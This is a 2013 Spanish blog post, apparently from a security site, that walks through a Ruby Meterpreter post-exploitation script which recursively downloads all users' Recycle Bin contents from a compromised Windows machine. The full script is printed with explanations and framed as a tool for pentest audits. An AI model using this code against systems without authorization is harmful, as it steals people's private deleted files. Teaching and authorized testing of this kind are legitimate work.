26 ago 2013

Meterpreter Scripts: Garbage Collector en Rapid7

La entrada de hoy es un tanto especial ya que ha sido el primer script el cual he desarrollado en Redmine para la comunidad Metasploit. La idea siempre me había llamado, poder colaborar y que alguna feature o funcionalidad sea útil para un pentester en el ámbito de la post-explotación con un Meterpreter. Ya sabéis que desde hace tiempo venimos realizando artículos sobre como desarrollar funcionalidades para Meterpreter, el payload estrella en Metasploit. La primera idea que se me ocurrió y me vino del libro de mi amigo Silverhack, es la de un módulo de post-explotación con el que podamos descargar todos los archivos y carpetas de todos los usuarios de un sistema comprometido. Ya sabéis que en muchas ocasiones los usuarios dejan en la papelera documentos importantes, y que la papelera no deja de ser una ubicación de disco. Por esta razón, me pareció algo interesante en la fase de recogida de información.
Podéis descargar el script desde el repositorio de código, pero también os lo pego aquí y lo vamos analizando:

#Autor: Pablo Gonzalez
#Windows Garbage Collector v1
if client.platform !~ /win32|win64/
print_line “No compatible”
raise Rex::Script::Completed
end
opts = Rex::Parser::Arguments.new(
“-h” => [false, "Help menu"],
“-g” => [false, "GarbageCollector"],
“-o” => [false, "Only Files"]
)
info = client.sys.config.sysinfo()
if info['OS'] =~ /Windows XP/
garbage = ‘c:\\Recycler\\’
else
garbage = ‘c:\\$Recycle.bin\\’
end

El comienzo es el típico de los scripts que hemos ido trabajando en el blog. Se comprueba si estamos en un sistema Windows y se preparan los argumentos que el script podrá recibir. En nuestro caso tenemos tres:
  • -h, siempre utilizado para la ayuda
  • -g Nos permite descargar todos los archivos y carpetas de todos los usuarios del sistema que se encuentran en la papelera de reciclaje.
  • -o Nos permite descargar solo los ficheros de todos los usuarios del sistema que se encuentran en la papelera.
Después de esto, se diferencia entre si el sistema es de kernel 5.x o 6.x, para ello nos basamos en sí es Windows XP, el cual tendrá la papelera de reciclaje en c:\Recycler o en c:\$Recycle.bin si es un Windows Vista/7/8, o su versión servidor 2008/2008R2/2012. El punto de partido será dicha ruta y se almacena en la variable garbage.
opts.parse(args) { |opt, idx, val|
case opt
when “-h”
print_line “Help Menu”
print_line(opts.usage)
raise Rex::Script::Completed
when “-g”
print_status “Recursive Downloading Garbage…”
downloading(garbage,”./”)
when “-o”
print_status “Downloading Garbage…”
dirs = client.fs.dir.entries(garbage)
dirs.each {|i|
if i != “.” && i != “..”
print_status i
#Descarga del contenido de una carpeta, ficheros de una carpeta
if !File.exists?(i)
Dir.mkdir(“~/”+i)
end
client.fs.dir.download(“./”+i, garbage+i)
end
}
end
}
En esta parte del código se parsean los parámetros que el usuario haya introducido en su script. En el caso de introducir el parámetro -g, simplemente se llamada a la función downloading, la cual trataremos después. En el caso de introducir el parámetro -o, se realiza un listado de la ruta almacenada en garbage y se realiza la descarga de lo encontrado en la papelera. Hay que tener en cuenta que la opción -o se corresponde con la descarga de solo ficheros, para ello se coge los ficheros que haya en garbage y se descargan sin profundizar ningún nivel. Esta parte no es nada compleja, y fácilmente entendible.
def downloading(remoto,local)
print_status remoto
dirs = client.fs.dir.entries_with_info(remoto)
dirs.each do |d|
next if d["FileName"] == “.” || d["FileName"] == “..”
mode = d["StatBuf"].stathash["st_mode"]
if mode.to_s =~ /(^16)|(^17)/
print_status “It is a directory #{mode} #{d["FilePath"]}”
if !::File.exists?(local+d["FileName"])
Dir.mkdir(local+d["FileName"])
end
client.fs.dir.download(local+”/”+d["FileName"],d["FilePath"])
downloading(d["FilePath"],local+d["FileName"]+”/”)
else
print_status “It is a file #{mode} #{d["FilePath"]}”
client.fs.file.download(local+”/”+d["FileName"],d["FilePath"])
end
end
end
La función downloading es utilizada cuando queremos descargar los archivos y carpetas de manera recursiva de la papelera. Es decir, todo lo que se encuentre dentro de la papelera, aunque haya 7 niveles en una carpeta que está introducida en ésta. La naturaleza de la función es recursiva, por lo que se puede visualizar en el código una llamada a la propia función downloading en cuanto se encuentra un directorio dentro de la papelera. Para realizar un listado inicial de la papelera se utiliza el método entries_with_info, con el que podremos decidir si el elemento que analizamos es una carpeta o un fichero, en caso de ser una carpeta debemos crearla en local y realizar la descarga de lo que hay dentro. En el caso de ser un fichero, simplemente realizamos la descarga del elemento.
Os animamos a qué probéis el módulo de post-explotación en vuestro Metasploit y vuestras auditorías. Os dejamos algunas capturas para que veáis su potencial, para ello os dejamos un caso de uso.
  1. El pentester consigue una sesión de Meterpreter en una máquina vulnerada mediante la explotación de alguna vulnerabilidad.
  2. La recogida de información mediante los scripts winenum y scraper es realmente interesante. Incluso GarbageCollector se podría integrar con dichos scripts, pero a día de hoy no lo está.
Os enseñamos la recogida recursiva de la papelera.Ahora comprobamos en el equipo local, el del auditor o pentester, y nos deja los elementos de la papelera donde hubiéramos lanzado Metasploit, tal y como se puede ver en la imagen.Esperamos nuevas ideas, mejoras, críticas y  por qué no ver nuestra feature en una versión de Metasploit Framework por defecto.

1 comentario:

  1. [...] lunes Pablo publicó el artículo 1000 de Flu Project! Meterpreter Scripts: Garbage Collector en Rapid7, como pasa el tiempo [...]

    ResponderEliminar